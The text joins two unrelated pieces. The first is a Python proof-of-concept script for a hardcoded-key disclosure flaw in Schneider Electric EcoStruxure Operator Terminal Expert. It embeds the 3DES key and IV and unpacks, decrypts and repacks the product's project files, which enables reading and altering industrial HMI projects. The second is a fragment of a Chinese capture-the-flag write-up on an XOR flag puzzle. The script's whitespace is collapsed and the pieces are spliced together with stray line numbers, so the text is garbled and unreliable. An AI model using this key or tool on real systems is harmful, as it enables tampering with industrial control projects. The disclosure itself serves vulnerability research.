#!/usr/bin/env python3"""
Schneider Electric EcoStruxure Operator Terminal Expert Hardcoded Cryptographic Key Information Disclosure Vulnerability
SRC ....: SRC-2020-0010
CVE ....: N/A
File ...: EcoStruxure Operator Terminal Expert V3.1.iso
SHA1 ...: 386312d68ba5e6a98df24258f2fbcfb2d8c8521b
Download: https://download.schneider-electric.com/files?p_File_Name=EcoStruxure+Operator+Terminal+Expert+V3.1.iso
"""importosimportreimportsysimportglobimportzlibimportzipfilefromCrypto.CipherimportDES3# hardcoded valueskey=[202,20,221,52,225,154,5,123,111,219,11,199,145,27,200,129,254,222,253,119,213,134,72,78]iv=[95,21,44,250,112,73,114,155]des3=[93,51,117,85,189,76,88,200,231,127]plen=8defcheck_equal(iterator):# if all the values are the same then its padding...returnlen(set(iterator))<=1def_inflate(decoded_data):returnzlib.decompress(decoded_data,-15)def_deflate(string_val):compressed=zlib.compress(string_val)returncompressed[2:-4]defdelete_folder(top):forroot,dirs,filesinos.walk(top,topdown=False):fornameinfiles:os.remove(os.path.join(root,name))fornameindirs:os.rmdir(os.path.join(root,name))os.rmdir(top)defdecrypt_file(filename):print("(+) unpacking: %s"%filename)decr=DES3.new(bytes(key),DES3.MODE_CBC,bytes(iv))default_data=bytes([8,8,8,8,8,8,8,8])withopen(filename,"rb")asf:iflist(f.read(10))==des3:encrypted=f.read()raw_data=decr.decrypt(encrypted)ifnotcheck_equal(list(raw_data)):raw_data=_inflate(raw_data)else:f.seek(0)raw_data=f.read()# now that we have the decrypted data, let's overwrite the file...withopen(filename,"wb")asf:f.write(raw_data)defencrypt_file(filename):print("(+) packing: %s"%filename)encr=DES3.new(bytes(key),DES3.MODE_CBC,bytes(iv))withopen(filename,"rb")asf:packed_data=f.read()ifnotpacked_data==bytes([8,8,8,8,8,8,8,8]):packed_data=_deflate(packed_data)# padding for encryption, same as schneiderpad=plen-(len(packed_data)%plen)# if we just have padding in there, then dont bother adding more padding now...iflen(packed_data)!=8:foriinrange(0,pad):packed_data+=bytes([pad])encr_data=bytes(des3)+encr.encrypt(packed_data)withopen(filename,"wb")asf:f.write(encr_data)defunpack(project):z=os.path.abspath(project)output_dir=os.path.splitext(z)[0]print("(+) unpacking to %s"%output_dir)ifos.path.exists(output_dir):print("(-) %s already exists!"%output_dir)returnFalsezip_obj=zipfile.ZipFile(z,'r')zip_obj.extractall(output_dir)zip_obj.close()# two levels deep, we can do more if we need toforfileinlist(set(glob.glob(output_dir+'/**/**/*.*',recursive=True))):decrypt_file(file)print("(+) unpacked and decrypted: %s"%project)defpack(project):z=os.path.abspath(project)output_dir=os.path.splitext(z)[0]# two levels deep, we can do more if we need toforfileinlist(set(glob.glob(output_dir+'/**/**/*.*',recursive=True))):ifos.path.basename(file)!="[Content_Types].xml":encrypt_file(file)zf=zipfile.ZipFile(project,"w")forfileinlist(set(glob.glob(os.path.basename(output_dir)+'/**/**/*.*',recursive=True))):zf.write(file,"/".join(file.strip("/").split('/')[1:]))zf.close()delete_folder(output_dir)print("(+) packed and encrypted: %s"%project)defmain():iflen(sys.argv)!=3:print("(+) usage: %s[options]"%sys.argv[0])print("(+) eg: %s sample.vxdz unpack"%sys.argv[0])print("(+) eg: %s sample.vxdz pack"%sys.argv[0])sys.exit(0)f=sys.argv[1]c=sys.argv[2]ifc.lower()=="unpack":unpack(f)elifc.lower()=="pack":pack(f)else:print("(-) invalid option!")sys.exit(1)if__name__=='__main__':main()
import random
def generateRandomBytearray(length):
random_bytes = bytearray()
for _ in range(length):
random_bytes.append(random.randint(0, 255))
return random_bytes
arrs = []
flag = bytearray(open("data/flag", "rb").read())
files = ["data/flag"]
for i in range(256):
byte_arr = generateRandomBytearray(len(flag))
arrs.append(byte_arr)
files.append(f"data/file{i}")
with open(f"data/file{i}", "wb") as file:
file.write(byte_arr)
于是在/data/目录下得到了file0~file255这256个文件
再创建一个xor.py(/data/xor.py),代码如下
1
2
3
4
5
6
7
8
9
10
11
12
from pwn import xor
from os import listdir
files = [file for file in listdir() if file != 'xor.py' and file != 'flag']
flag = bytearray(open("flag", "rb").read())
for file in files:
file = open(file, 'rb').read()
flag = xor(flag, file)
print(flag)
with open('xor', 'wb') as f:
f.write(flag)
执行后得到了xor(/data/xor)文件
题目描述给出了最后执行的两条命令:
1
2
python xor.py
rm -f xor.py flag
于是形成了题目附件所展示的文件集合
「解题脚本:」
1
2
3
4
5
6
7
8
9
10
from pwn import xor
from os import listdir
files = [file for file in listdir() if file != 'solve.py']
flag = b''
for file in files:
file = open(file, 'rb').read()
flag = xor(flag, file)
print(flag)